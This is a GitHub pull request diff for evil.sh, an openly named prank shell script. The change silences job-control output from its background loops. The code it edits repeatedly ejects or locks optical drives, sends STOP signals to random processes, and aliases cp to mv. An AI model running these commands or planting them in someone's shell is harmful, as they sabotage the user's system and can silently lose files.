Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix #79 silence job control output #81

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions evil.sh
Original file line number Diff line number Diff line change
Expand Up @@ -75,29 +75,29 @@ annoying && if [ "$(uname)" = 'Darwin' ]; then
# Much less fun on Macs, alas.
if [[ $[$RANDOM % 2] == 0 ]]; then
# Eject!
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
(sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' &) >/dev/null 2>&1
else
# Lock! Admittedly, much less annoying on most Macs, which don’t support
# locking and are slot-loading anyway.
sh -c 'while :; do drutil tray close; sleep 0.1s; done' > /dev/null 2>&1 &
(sh -c 'while :; do drutil tray close; sleep 0.1s; done' &) >/dev/null 2>&1
fi;
else
N=$[$RANDOM % 3];
if [[ $N == 0 ]]; then
# Open and close randomly after a few minutes.
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
(sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' &) >/dev/null 2>&1
elif [[ $N == 1 ]]; then
# Lock, and keep closing just in case.
sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
(sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' &) >/dev/null 2>&1
else
# Slowness (1× CD speed). This has to be in a loop because it resets with
# every ejection.
sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
(sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' &) >/dev/null 2>&1
fi;
fi;

# Send STOP signal to random process at random time.
destructive && sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
destructive && (sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP "$(ps x -o pid | sed 1d | sort -R | head -1)" &) >/dev/null 2>&1

# Have `cp` perform `mv` instead.
destructive && alias cp='mv';
Expand Down